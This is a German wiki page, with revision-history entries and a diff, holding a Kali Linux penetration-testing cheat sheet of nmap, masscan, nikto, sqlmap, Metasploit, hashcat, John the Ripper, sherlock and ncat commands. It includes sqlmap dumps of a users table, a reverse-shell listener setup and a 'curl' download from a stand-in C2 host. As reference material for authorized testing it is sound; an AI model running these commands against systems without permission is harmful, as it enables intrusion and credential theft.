Thomas.will: /* Kali Linux 2026 – Cheat Sheet */

2026-06-14T19:18:57Z

Kali Linux 2026 – Cheat Sheet

Thomas.will: Die Seite wurde neu angelegt: „= Kali Linux 2026 – Cheat Sheet = Übersicht der wichtigsten Kommandos für Ethical Hacking und Penetration Testing, gruppiert nach Phasen. {{Hinweis|Alle…“

2026-06-14T19:18:01Z

Die Seite wurde neu angelegt: „= Kali Linux 2026 – Cheat Sheet = Übersicht der wichtigsten Kommandos für Ethical Hacking und Penetration Testing, gruppiert nach Phasen. {{Hinweis|Alle…“

Neue Seite

= Kali Linux 2026 – Cheat Sheet =

Übersicht der wichtigsten Kommandos für Ethical Hacking und Penetration Testing, gruppiert nach Phasen.

{{Hinweis|Alle hier gelisteten Werkzeuge dürfen ausschließlich gegen Systeme eingesetzt werden, für die eine schriftliche Beauftragung bzw. ausdrückliche Erlaubnis vorliegt. Einsatz gegen fremde Systeme ist nach § 202a–c StGB strafbar.}}

== Network & Discovery ==

=== nmap ===

;TCP-SYN-Scan (Stealth, halb offen)
*<code>nmap -sS <ziel></code>
;Dienst- und Versionserkennung
*<code>nmap -sV <ziel></code>
;Standard-NSE-Skripte ausführen
*<code>nmap -sC <ziel></code>
;Aggressiver Scan (OS, Version, Skripte, Traceroute)
*<code>nmap -A <ziel></code>
;Betriebssystem erkennen
*<code>nmap -O <ziel></code>
;Alle 65535 TCP-Ports scannen
*<code>nmap -p- <ziel></code>
;Schnelleres Timing
*<code>nmap -T4 <ziel></code>
;Ausgabe im Normalformat speichern
*<code>nmap -oN scan.txt <ziel></code>

=== masscan ===

;Port 80 im lokalen Subnetz scannen
*<code>masscan 192.168.1.0/24 -p80</code>
;SSH- und Web-Ports scannen
*<code>masscan 192.168.1.0/24 -p22,80,443</code>
;Voller TCP-Scan mit begrenzter Rate
*<code>masscan 192.168.1.0/24 -p1-65535 --rate 1000</code>
;Test-Host auf Web-Dienste prüfen
*<code>masscan scanme.nmap.org -p80,443</code>
;RDP in internen Bereichen suchen
*<code>masscan 10.0.0.0/8 -p3389 --rate 500</code>
;Banner von SMB-Zielen abgreifen
*<code>masscan 10.0.0.0/8 -p445 --banners</code>
;Gängige Dienst-Ports prüfen
*<code>masscan 172.16.0.0/16 -p21,22,80,443</code>

== Web Security & Auditing ==

=== nikto ===

;Host scannen
*<code>nikto -h http://ziel.com</code>
;Bestimmten Port scannen
*<code>nikto -h http://ziel.com:8080</code>
;HTTPS-Scan erzwingen
*<code>nikto -h https://ziel.com -ssl</code>
;Interessante Dateien testen
*<code>nikto -h ziel.com -Tuning 1</code>
;Fehlkonfigurationen / Default-Dateien
*<code>nikto -h ziel.com -Tuning 2</code>
;Injection-Tests
*<code>nikto -h ziel.com -Tuning 4</code>
;Ziele aus Eingabedatei scannen
*<code>nikto -h hosts.txt</code>

=== sqlmap ===

;Automatischer (nicht-interaktiver) Test
*<code>sqlmap -u "https://url.com/i.php?id=1" --batch</code>
;Verfügbare Datenbanken auflisten
*<code>sqlmap -u "https://url.com/i.php?id=1" --dbs</code>
;Tabellen einer DB auflisten
*<code>sqlmap -u "https://url.com/i.php?id=1" -D shop --tables</code>
;Tabelleninhalt extrahieren
*<code>sqlmap -u "https://url.com/i.php?id=1" -D shop -T users --dump</code>
;Zufälligen User-Agent verwenden
*<code>sqlmap -u "https://url.com/i.php?id=1" --random-agent</code>
;Gespeicherten Request (z.B. aus Burp) verwenden
*<code>sqlmap -r request.txt</code>

== Vulnerability & Exploitation ==

=== Metasploit ===

;Metasploit-Konsole starten
*<code>msfconsole</code>
;Module nach Stichwort suchen
*<code>search <stichwort></code>
;Modul auswählen
*<code>use <modul></code>
;Optionen des Moduls anzeigen
*<code>show options</code>
;Ziel setzen
*<code>set RHOSTS <ziel></code>
;Eigene IP (für Reverse Shell) setzen
*<code>set LHOST <ip></code>
;Modul ausführen
*<code>run</code> / <code>exploit</code>
;In Session wechseln
*<code>sessions -i <id></code>
;Aktuelle Session in den Hintergrund
*<code>background</code>

=== Web Fuzzing (wfuzz) ===

;Verzeichnisse finden
*<code>wfuzz -w wordlist.txt http://ziel/FUZZ</code>
;Parameter finden
*<code>wfuzz -c -w wordlist.txt "http://ziel/?FUZZ=1"</code>
;Subdomains finden
*<code>wfuzz -c -w subs.txt -H "Host: FUZZ.ziel.com" http://ziel</code>

== Credential Auditing & Passwords ==

=== hashcat ===

;Wörterbuchangriff (MD5)
*<code>hashcat -m 0 -a 0 hashes.txt rockyou.txt</code>
;Wörterbuchangriff (SHA1)
*<code>hashcat -m 100 -a 0 hashes.txt rockyou.txt</code>
;Wörterbuchangriff (NTLM)
*<code>hashcat -m 1000 -a 0 hashes.txt rockyou.txt</code>
;sha512crypt ($6$)
*<code>hashcat -m 1800 -a 0 hashes.txt rockyou.txt</code>
;Brute-Force-Maskenangriff
*<code>hashcat -m 0 -a 3 hashes.txt ?d?d?d?d?d?d</code>
;Hybrid: Wörterbuch + Maske
*<code>hashcat -m 0 -a 6 hashes.txt rockyou.txt ?d?d?d</code>
;Regelbasierter Angriff
*<code>hashcat -m 0 -a 0 -r rules/best64.rule hashes.txt rockyou.txt</code>
;Gespeicherte Session fortsetzen
*<code>hashcat --restore</code>

=== John the Ripper ===

;Unterstützte Hash-Formate auflisten
*<code>john --list=formats</code>
;Wörterbuchangriff
*<code>john --wordlist=rockyou.txt hashes.txt</code>
;Mangling-Regeln anwenden
*<code>john --rules --wordlist=words.txt hashes.txt</code>
;Inkrementeller Brute-Force
*<code>john --incremental hashes.txt</code>
;Single-Crack-Modus
*<code>john --single hashes.txt</code>
;Hash aus SSH-Schlüssel extrahieren
*<code>ssh2john id_rsa > id_rsa.hash</code>
;Geknackte Passwörter anzeigen
*<code>john --show hashes.txt</code>

== OSINT & Information Gathering ==

=== sherlock ===

;Benutzernamen auf vielen Plattformen suchen
*<code>sherlock benutzer</code>
;Mehrere Benutzernamen prüfen
*<code>sherlock benutzer1 benutzer2</code>
;Auf bestimmte Seite einschränken
*<code>sherlock benutzer --site Twitter</code>
;Timeout pro Seite setzen
*<code>sherlock benutzer --timeout 5</code>
;Ergebnisse speichern
*<code>sherlock benutzer --output ergebnis.txt</code>
;Gefundene Profile im Browser öffnen
*<code>sherlock benutzer --browse</code>

=== WHOIS & DNS ===

;Domain-Details abfragen
*<code>whois ziel.com</code>
;IP zu Domain ermitteln
*<code>host ziel.com</code>
;Zonentransfer versuchen
*<code>dig ziel.com AXFR @ns1.ziel.com</code>

== Post-Exploitation & Networking Tools ==

=== ncat ===

;TCP-Verbindung zu Port 80
*<code>ncat 192.168.1.10 80</code>
;UDP-Verbindung zu Port 53
*<code>ncat -u 192.168.1.10 53</code>
;Auf eingehende Verbindungen lauschen (mehrfach)
*<code>ncat -l -k 4444</code>
;Verbindung mit ausführlicher Ausgabe
*<code>ncat -v 192.168.1.10 22</code>
;Portscan 20–25
*<code>ncat -zv 192.168.1.10 20-25</code>
;Empfangene Daten in Datei schreiben
*<code>ncat -l 4444 > datei.txt</code>
;Verbindungs-Timeout 10 Sekunden
*<code>ncat -w 10 192.168.1.10 443</code>

=== Data Transfer & C2 ===

;Datei herunterladen
*<code>curl -O http://c2.com/file.sh</code>
;Lokalen HTTP-Server starten
*<code>python3 -m http.server</code>
;Datei sicher kopieren
*<code>scp file.txt user@ziel:/pfad</code>

[[Kategorie:Kali Linux]]
[[Kategorie:Penetration Testing]]
[[Kategorie:Security]]

@@ Zeile 3: / Zeile 3: @@
 Übersicht der wichtigsten Kommandos für Ethical Hacking und Penetration Testing, gruppiert nach Phasen.
-{{Hinweis|Alle hier gelisteten Werkzeuge dürfen ausschließlich gegen Systeme eingesetzt werden, für die eine schriftliche Beauftragung bzw. ausdrückliche Erlaubnis vorliegt. Einsatz gegen fremde Systeme ist nach § 202a–c StGB strafbar.}}
+*Alle hier gelisteten Werkzeuge dürfen ausschließlich gegen Systeme eingesetzt werden, für die eine schriftliche Beauftragung bzw. ausdrückliche Erlaubnis vorliegt.
 == Network & Discovery ==

Kali 2026 Cyber Security - Sheet Cheat - Versionsgeschichte

Thomas.will: /* Kali Linux 2026 – Cheat Sheet */

Thomas.will: Die Seite wurde neu angelegt: „= Kali Linux 2026 – Cheat Sheet = Übersicht der wichtigsten Kommandos für Ethical Hacking und Penetration Testing, gruppiert nach Phasen. {{Hinweis|Alle…“